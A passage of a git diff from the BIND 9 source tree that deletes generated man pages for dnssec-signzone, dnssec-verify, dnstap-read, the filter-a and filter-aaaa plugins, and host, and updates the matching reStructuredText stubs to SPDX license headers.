-This option is not useful for non\-dynamic zones.
-.TP
-.B \fB\-j jitter\fP
-When signing a zone with a fixed signature lifetime, all RRSIG
-records issued at the time of signing expire simultaneously. If the
-zone is incrementally signed, i.e., a previously signed zone is passed
-as input to the signer, all expired signatures must be regenerated
-at approximately the same time. The \fBjitter\fP option specifies a jitter
-window that is used to randomize the signature expire time, thus
-spreading incremental signature regeneration over time.
-.sp
-Signature lifetime jitter also, to some extent, benefits validators and
-servers by spreading out cache expiration, i.e., if large numbers of
-RRSIGs do not expire at the same time from all caches, there is
-less congestion than if all validators need to refetch at around the
-same time.
-.TP
-.B \fB\-L serial\fP
-When writing a signed zone to "raw" or "map" format, this option sets the "source
-serial" value in the header to the specified \fBserial\fP number. (This is
-expected to be used primarily for testing purposes.)
-.TP
-.B \fB\-n ncpus\fP
-This option specifies the number of threads to use. By default, one thread is
-started for each detected CPU.
-.TP
-.B \fB\-N soa\-serial\-format\fP
-This option sets the SOA serial number format of the signed zone. Possible formats are
-\fBkeep\fP (the default), \fBincrement\fP, \fBunixtime\fP, and
-\fBdate\fP\&.
-.INDENT 7.0
-.TP
-\fBkeep\fP
-This format indicates that the SOA serial number should not be modified.
-.TP
-\fBincrement\fP
-This format increments the SOA serial number using \fI\%RFC 1982\fP arithmetic.
-.TP
-\fBunixtime\fP
-This format sets the SOA serial number to the number of seconds
-since the beginning of the Unix epoch, unless the serial
-number is already greater than or equal to that value, in
-which case it is simply incremented by one.
-.TP
-\fBdate\fP
-This format sets the SOA serial number to today\(aqs date, in
-YYYYMMDDNN format, unless the serial number is already greater
-than or equal to that value, in which case it is simply
-incremented by one.
-.UNINDENT
-.TP
-.B \fB\-o origin\fP
-This option sets the zone origin. If not specified, the name of the zone file is
-assumed to be the origin.
-.TP
-.B \fB\-O output\-format\fP
-This option sets the format of the output file containing the signed zone. Possible
-formats are \fBtext\fP (the default), which is the standard textual
-representation of the zone; \fBfull\fP, which is text output in a
-format suitable for processing by external scripts; and \fBmap\fP,
-\fBraw\fP, and \fBraw=N\fP, which store the zone in binary formats
-for rapid loading by \fBnamed\fP\&. \fBraw=N\fP specifies the format
-version of the raw zone file: if N is 0, the raw file can be read by
-any version of \fBnamed\fP; if N is 1, the file can be read by release
-9.9.0 or higher. The default is 1.
-.TP
-.B \fB\-P\fP
-This option disables post\-sign verification tests.
-.sp
-The post\-sign verification tests ensure that for each algorithm in
-use there is at least one non\-revoked self\-signed KSK key, that all
-revoked KSK keys are self\-signed, and that all records in the zone
-are signed by the algorithm. This option skips these tests.
-.TP
-.B \fB\-Q\fP
-This option removes signatures from keys that are no longer active.
-.sp
-Normally, when a previously signed zone is passed as input to the
-signer, and a DNSKEY record has been removed and replaced with a new
-one, signatures from the old key that are still within their validity
-period are retained. This allows the zone to continue to validate
-with cached copies of the old DNSKEY RRset. The \fB\-Q\fP option forces
-\fBdnssec\-signzone\fP to remove signatures from keys that are no longer
-active. This enables ZSK rollover using the procedure described in
-\fI\%RFC 4641#4.2.1.1\fP ("Pre\-Publish Key Rollover").
-.TP
-.B \fB\-q\fP
-This option enables quiet mode, which suppresses unnecessary output. Without this option, when
-\fBdnssec\-signzone\fP is run it prints three pieces of information to standard output: the number of
-keys in use; the algorithms used to verify the zone was signed correctly and
-other status information; and the filename containing the signed
-zone. With the option that output is suppressed, leaving only the filename.
-.TP
-.B \fB\-R\fP
-This option removes signatures from keys that are no longer published.
-.sp
-This option is similar to \fB\-Q\fP, except it forces
-\fBdnssec\-signzone\fP to remove signatures from keys that are no longer
-published. This enables ZSK rollover using the procedure described in
-\fI\%RFC 4641#4.2.1.2\fP ("Double Signature Zone Signing Key
-Rollover").
-.TP
-.B \fB\-S\fP
-This option enables smart signing, which instructs \fBdnssec\-signzone\fP to search the key
-repository for keys that match the zone being signed, and to include
-them in the zone if appropriate.
-.sp
-When a key is found, its timing metadata is examined to determine how
-it should be used, according to the following rules. Each successive
-rule takes priority over the prior ones:
-.INDENT 7.0
-.INDENT 3.5
-If no timing metadata has been set for the key, the key is
-published in the zone and used to sign the zone.
-.sp
-If the key\(aqs publication date is set and is in the past, the key
-is published in the zone.
-.sp
-If the key\(aqs activation date is set and is in the past, the key is
-published (regardless of publication date) and used to sign the
-zone.
-.sp
-If the key\(aqs revocation date is set and is in the past, and the key
-is published, then the key is revoked, and the revoked key is used
-to sign the zone.
-.sp
-If either the key\(aqs unpublication or deletion date is set and
-in the past, the key is NOT published or used to sign the zone,
-regardless of any other metadata.
-.sp
-If the key\(aqs sync publication date is set and is in the past,
-synchronization records (type CDS and/or CDNSKEY) are created.
-.sp
-If the key\(aqs sync deletion date is set and is in the past,
-synchronization records (type CDS and/or CDNSKEY) are removed.
-.UNINDENT
-.UNINDENT
-.TP
-.B \fB\-T ttl\fP
-This option specifies a TTL to be used for new DNSKEY records imported into the
-zone from the key repository. If not specified, the default is the
-TTL value from the zone\(aqs SOA record. This option is ignored when
-signing without \fB\-S\fP, since DNSKEY records are not imported from
-the key repository in that case. It is also ignored if there are any
-pre\-existing DNSKEY records at the zone apex, in which case new
-records\(aq TTL values are set to match them, or if any of the
-imported DNSKEY records had a default TTL value. In the event of a
-conflict between TTL values in imported keys, the shortest one is
-used.
-.TP
-.B \fB\-t\fP
-This option prints statistics at completion.
-.TP
-.B \fB\-u\fP
-This option updates the NSEC/NSEC3 chain when re\-signing a previously signed zone.
-With this option, a zone signed with NSEC can be switched to NSEC3,
-or a zone signed with NSEC3 can be switched to NSEC or to NSEC3 with
-different parameters. Without this option, \fBdnssec\-signzone\fP
-retains the existing chain when re\-signing.
-.TP
-.B \fB\-v level\fP
-This option sets the debugging level.
-.TP
-.B \fB\-x\fP
-This option indicates that BIND 9 should only sign the DNSKEY, CDNSKEY, and CDS RRsets with key\-signing keys,
-and should omit signatures from zone\-signing keys. (This is similar to the
-\fBdnssec\-dnskey\-kskonly yes;\fP zone option in \fBnamed\fP\&.)
-.TP
-.B \fB\-z\fP
-This option indicates that BIND 9 should ignore the KSK flag on keys when determining what to sign. This causes
-KSK\-flagged keys to sign all records, not just the DNSKEY RRset.
-(This is similar to the \fBupdate\-check\-ksk no;\fP zone option in
-\fBnamed\fP\&.)
-.TP
-.B \fB\-3 salt\fP
-This option generates an NSEC3 chain with the given hex\-encoded salt. A dash
-(\-) can be used to indicate that no salt is to be used when
-generating the NSEC3 chain.
-.TP
-.B \fB\-H iterations\fP
-This option indicates that, when generating an NSEC3 chain, BIND 9 should use this many iterations. The default
-is 10.
-.TP
-.B \fB\-A\fP
-This option indicates that, when generating an NSEC3 chain, BIND 9 should set the OPTOUT flag on all NSEC3
-records and should not generate NSEC3 records for insecure delegations.
-.sp
-Using this option twice (i.e., \fB\-AA\fP) turns the OPTOUT flag off for
-all records. This is useful when using the \fB\-u\fP option to modify an
-NSEC3 chain which previously had OPTOUT set.
-.TP
-.B \fBzonefile\fP
-This option sets the file containing the zone to be signed.
-.TP
-.B \fBkey\fP
-This option specifies which keys should be used to sign the zone. If no keys are
-specified, the zone is examined for DNSKEY records at the
-zone apex. If these records are found and there are matching private keys in
-the current directory, they are used for signing.
-.UNINDENT
-.SH EXAMPLE
-.sp
-The following command signs the \fBexample.com\fP zone with the
-ECDSAP256SHA256 key generated by \fBdnssec\-keygen\fP
-(Kexample.com.+013+17247). Because the \fB\-S\fP option is not being used,
-the zone\(aqs keys must be in the master file (\fBdb.example.com\fP). This
-invocation looks for \fBdsset\fP files in the current directory, so that
-DS records can be imported from them (\fB\-g\fP).
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-% dnssec\-signzone \-g \-o example.com db.example.com \e
-Kexample.com.+013+17247
-db.example.com.signed
-%
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.sp
-In the above example, \fBdnssec\-signzone\fP creates the file
-\fBdb.example.com.signed\fP\&. This file should be referenced in a zone
-statement in the \fBnamed.conf\fP file.
-.sp
-This example re\-signs a previously signed zone with default parameters.
-The private keys are assumed to be in the current directory.
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-% cp db.example.com.signed db.example.com
-% dnssec\-signzone \-o example.com db.example.com
-db.example.com.signed
-%
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fBdnssec\-keygen(8)\fP, BIND 9 Administrator Reference Manual, \fI\%RFC 4033\fP,
-\fI\%RFC 4641\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/dnssec-signzone.rst b/doc/man/dnssec-signzone.rst
index 9b97a0f541..b95e04a75d 100644
--- a/doc/man/dnssec-signzone.rst
+++ b/doc/man/dnssec-signzone.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/dnssec/dnssec-signzone.rst
\ No newline at end of file
+.. include:: ../../bin/dnssec/dnssec-signzone.rst
diff --git a/doc/man/dnssec-verify.1in b/doc/man/dnssec-verify.1in
deleted file mode 100644
index 8d61ef690b..0000000000
--- a/doc/man/dnssec-verify.1in
+++ /dev/null
@@ -1,113 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DNSSEC-VERIFY" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-dnssec-verify \- DNSSEC zone verification tool
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBdnssec\-verify\fP [\fB\-c\fP class] [\fB\-E\fP engine] [\fB\-I\fP input\-format] [\fB\-o\fP origin] [\fB\-q\fP] [\fB\-v\fP level] [\fB\-V\fP] [\fB\-x\fP] [\fB\-z\fP] {zonefile}
-.SH DESCRIPTION
-.sp
-\fBdnssec\-verify\fP verifies that a zone is fully signed for each
-algorithm found in the DNSKEY RRset for the zone, and that the
-NSEC/NSEC3 chains are complete.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-c class\fP
-This option specifies the DNS class of the zone.
-.TP
-.B \fB\-E engine\fP
-This option specifies the cryptographic hardware to use, when applicable.
-.sp
-When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
-engine identifier that drives the cryptographic accelerator or
-hardware service module (usually \fBpkcs11\fP). When BIND is
-built with native PKCS#11 cryptography (\fB\-\-enable\-native\-pkcs11\fP), it
-defaults to the path of the PKCS#11 provider library specified via
-\fB\-\-with\-pkcs11\fP\&.
-.TP
-.B \fB\-I input\-format\fP
-This option sets the format of the input zone file. Possible formats are \fBtext\fP
-(the default) and \fBraw\fP\&. This option is primarily intended to be used
-for dynamic signed zones, so that the dumped zone file in a non\-text
-format containing updates can be verified independently.
-This option is not useful for non\-dynamic zones.
-.TP
-.B \fB\-o origin\fP
-This option indicates the zone origin. If not specified, the name of the zone file is
-assumed to be the origin.
-.TP
-.B \fB\-v level\fP
-This option sets the debugging level.
-.TP
-.B \fB\-V\fP
-This option prints version information.
-.TP
-.B \fB\-q\fP
-This option sets quiet mode, which suppresses output.  Without this option, when \fBdnssec\-verify\fP
-is run it prints to standard output the number of keys in use, the
-algorithms used to verify the zone was signed correctly, and other status
-information.  With this option, all non\-error output is suppressed, and only the exit
-code indicates success.
-.TP
-.B \fB\-x\fP
-This option verifies only that the DNSKEY RRset is signed with key\-signing keys.
-Without this flag, it is assumed that the DNSKEY RRset is signed
-by all active keys. When this flag is set, it is not an error if
-the DNSKEY RRset is not signed by zone\-signing keys. This corresponds
-to the \fB\-x\fP option in \fBdnssec\-signzone\fP\&.
-.TP
-.B \fB\-z\fP
-This option indicates that the KSK flag on the keys should be ignored when determining whether the zone is
-correctly signed. Without this flag, it is assumed that there is
-a non\-revoked, self\-signed DNSKEY with the KSK flag set for each
-algorithm, and that RRsets other than DNSKEY RRset are signed with
-a different DNSKEY without the KSK flag set.
-.sp
-With this flag set, BIND 9 only requires that for each algorithm, there
-be at least one non\-revoked, self\-signed DNSKEY, regardless of
-the KSK flag state, and that other RRsets be signed by a
-non\-revoked key for the same algorithm that includes the self\-signed
-key; the same key may be used for both purposes. This corresponds to
-the \fB\-z\fP option in \fBdnssec\-signzone\fP\&.
-.TP
-.B \fBzonefile\fP
-This option indicates the file containing the zone to be signed.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fBdnssec\-signzone(8)\fP, BIND 9 Administrator Reference Manual, \fI\%RFC 4033\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/dnssec-verify.rst b/doc/man/dnssec-verify.rst
index 3ac88d10ad..c565fedb5c 100644
--- a/doc/man/dnssec-verify.rst
+++ b/doc/man/dnssec-verify.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/dnssec/dnssec-verify.rst
\ No newline at end of file
+.. include:: ../../bin/dnssec/dnssec-verify.rst
diff --git a/doc/man/dnstap-read.1in b/doc/man/dnstap-read.1in
deleted file mode 100644
index fc25109071..0000000000
--- a/doc/man/dnstap-read.1in
+++ /dev/null
@@ -1,67 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DNSTAP-READ" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-dnstap-read \- print dnstap data in human-readable form
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBdnstap\-read\fP [\fB\-m\fP] [\fB\-p\fP] [\fB\-x\fP] [\fB\-y\fP] {file}
-.SH DESCRIPTION
-.sp
-\fBdnstap\-read\fP reads \fBdnstap\fP data from a specified file and prints
-it in a human\-readable format. By default, \fBdnstap\fP data is printed in
-a short summary format, but if the \fB\-y\fP option is specified, a
-longer and more detailed YAML format is used.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-m\fP
-This option indicates trace memory allocations, and is used for debugging memory leaks.
-.TP
-.B \fB\-p\fP
-This option prints the text form of the DNS
-message that was encapsulated in the \fBdnstap\fP frame, after printing the \fBdnstap\fP data.
-.TP
-.B \fB\-x\fP
-This option prints a hex dump of the wire form
-of the DNS message that was encapsulated in the \fBdnstap\fP frame, after printing the \fBdnstap\fP data.
-.TP
-.B \fB\-y\fP
-This option prints \fBdnstap\fP data in a detailed YAML format.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fBnamed(8)\fP, \fBrndc(8)\fP, BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/dnstap-read.rst b/doc/man/dnstap-read.rst
index 10fe0a887d..9b60739dd2 100644
--- a/doc/man/dnstap-read.rst
+++ b/doc/man/dnstap-read.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/tools/dnstap-read.rst
\ No newline at end of file
+.. include:: ../../bin/tools/dnstap-read.rst
diff --git a/doc/man/filter-a.8in b/doc/man/filter-a.8in
deleted file mode 100644
index 6e38500e72..0000000000
--- a/doc/man/filter-a.8in
+++ /dev/null
@@ -1,106 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "FILTER-A" "8" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-filter-a \- filter A in DNS responses when AAAA is present
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBplugin query\fP "filter\-a.so" [{ parameters }];
-.SH DESCRIPTION
-.sp
-\fBfilter\-a.so\fP is a query plugin module for \fBnamed\fP, enabling
-\fBnamed\fP to omit some IPv4 addresses when responding to clients.
-.sp
-For example:
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-plugin query "/usr/local/lib/filter\-a.so" {
-        filter\-a\-on\-v6 yes;
-        filter\-a\-on\-v4 yes;
-        filter\-a { 192.0.2.1; 2001:db8:2::1; };
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.sp
-This module is intended to aid transition from IPv4 to IPv6 by
-withholding IPv4 addresses from DNS clients which are not connected to
-the IPv4 Internet, when the name being looked up has an IPv6 address
-available. Use of this module is not recommended unless absolutely
-necessary.
-.sp
-Note: This mechanism can erroneously cause other servers not to give
-A records to their clients. If a recursing server with both IPv6 and
-IPv4 network connections queries an authoritative server using this
-mechanism via IPv6, it is denied A records even if its client is
-using IPv4.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fBfilter\-a\fP
-This option specifies a list of client addresses for which A filtering is to
-be applied. The default is \fBany\fP\&.
-.TP
-.B \fBfilter\-a\-on\-v6\fP
-If set to \fByes\fP, this option indicates that the DNS client is at an IPv6 address, in
-\fBfilter\-a\fP\&. If the response does not include DNSSEC
-signatures, then all A records are deleted from the response. This
-filtering applies to all responses, not only authoritative
-ones.
-.sp
-If set to \fBbreak\-dnssec\fP, then A records are deleted even when
-DNSSEC is enabled. As suggested by the name, this causes the response
-to fail to verify, because the DNSSEC protocol is designed to detect
-deletions.
-.sp
-This mechanism can erroneously cause other servers not to give A
-records to their clients. If a recursing server with both IPv6 and IPv4
-network connections queries an authoritative server using this
-mechanism via IPv6, it is denied A records even if its client is
-using IPv4.
-.TP
-.B \fBfilter\-a\-on\-v4\fP
-This option is identical to \fBfilter\-a\-on\-v6\fP, except that it filters A responses
-to queries from IPv4 clients instead of IPv6 clients. To filter all
-responses, set both options to \fByes\fP\&.
-.UNINDENT
-.SH SEE ALSO
-.sp
-BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/filter-a.rst b/doc/man/filter-a.rst
index 31da2f075b..a5c4d40436 100644
--- a/doc/man/filter-a.rst
+++ b/doc/man/filter-a.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/plugins/filter-a.rst
\ No newline at end of file
+.. include:: ../../bin/plugins/filter-a.rst
diff --git a/doc/man/filter-aaaa.8in b/doc/man/filter-aaaa.8in
deleted file mode 100644
index 579d73cb8f..0000000000
--- a/doc/man/filter-aaaa.8in
+++ /dev/null
@@ -1,110 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "FILTER-AAAA" "8" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-filter-aaaa \- filter AAAA in DNS responses when A is present
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBplugin query\fP "filter\-aaaa.so" [{ parameters }];
-.SH DESCRIPTION
-.sp
-\fBfilter\-aaaa.so\fP is a query plugin module for \fBnamed\fP, enabling
-\fBnamed\fP to omit some IPv6 addresses when responding to clients.
-.sp
-Until BIND 9.12, this feature was implemented natively in \fBnamed\fP and
-enabled with the \fBfilter\-aaaa\fP ACL and the \fBfilter\-aaaa\-on\-v4\fP and
-\fBfilter\-aaaa\-on\-v6\fP options. These options are now deprecated in
-\fBnamed.conf\fP but can be passed as parameters to the
-\fBfilter\-aaaa.so\fP plugin, for example:
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-plugin query "/usr/local/lib/filter\-aaaa.so" {
-        filter\-aaaa\-on\-v4 yes;
-        filter\-aaaa\-on\-v6 yes;
-        filter\-aaaa { 192.0.2.1; 2001:db8:2::1; };
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.sp
-This module is intended to aid transition from IPv4 to IPv6 by
-withholding IPv6 addresses from DNS clients which are not connected to
-the IPv6 Internet, when the name being looked up has an IPv4 address
-available. Use of this module is not recommended unless absolutely
-necessary.
-.sp
-Note: This mechanism can erroneously cause other servers not to give
-AAAA records to their clients. If a recursing server with both IPv6 and
-IPv4 network connections queries an authoritative server using this
-mechanism via IPv4, it is denied AAAA records even if its client is
-using IPv6.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fBfilter\-aaaa\fP
-This option specifies a list of client addresses for which AAAA filtering is to
-be applied. The default is \fBany\fP\&.
-.TP
-.B \fBfilter\-aaaa\-on\-v4\fP
-If set to \fByes\fP, this option indicates that the DNS client is at an IPv4 address, in
-\fBfilter\-aaaa\fP\&. If the response does not include DNSSEC
-signatures, then all AAAA records are deleted from the response. This
-filtering applies to all responses, not only authoritative
-ones.
-.sp
-If set to \fBbreak\-dnssec\fP, then AAAA records are deleted even when
-DNSSEC is enabled. As suggested by the name, this causes the response
-to fail to verify, because the DNSSEC protocol is designed to detect
-deletions.
-.sp
-This mechanism can erroneously cause other servers not to give AAAA
-records to their clients. If a recursing server with both IPv6 and IPv4
-network connections queries an authoritative server using this
-mechanism via IPv4, it is denied AAAA records even if its client is
-using IPv6.
-.TP
-.B \fBfilter\-aaaa\-on\-v6\fP
-This option is identical to \fBfilter\-aaaa\-on\-v4\fP, except that it filters AAAA responses
-to queries from IPv6 clients instead of IPv4 clients. To filter all
-responses, set both options to \fByes\fP\&.
-.UNINDENT
-.SH SEE ALSO
-.sp
-BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/filter-aaaa.rst b/doc/man/filter-aaaa.rst
index b9bd4e1521..2ad0521497 100644
--- a/doc/man/filter-aaaa.rst
+++ b/doc/man/filter-aaaa.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/plugins/filter-aaaa.rst
\ No newline at end of file
+.. include:: ../../bin/plugins/filter-aaaa.rst
diff --git a/doc/man/host.1in b/doc/man/host.1in
deleted file mode 100644
index 627c3832b9..0000000000
--- a/doc/man/host.1in
+++ /dev/null
@@ -1,182 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "HOST" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-host \- DNS lookup utility
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBhost\fP [\fB\-aACdlnrsTUwv\fP] [\fB\-c\fP class] [\fB\-N\fP ndots] [\fB\-p\fP port] [\fB\-R\fP number] [\fB\-t\fP type] [\fB\-W\fP wait] [\fB\-m\fP flag] [ [\fB\-4\fP] | [\fB\-6\fP] ] [\fB\-v\fP] [\fB\-V\fP] {name} [server]
-.SH DESCRIPTION
-.sp
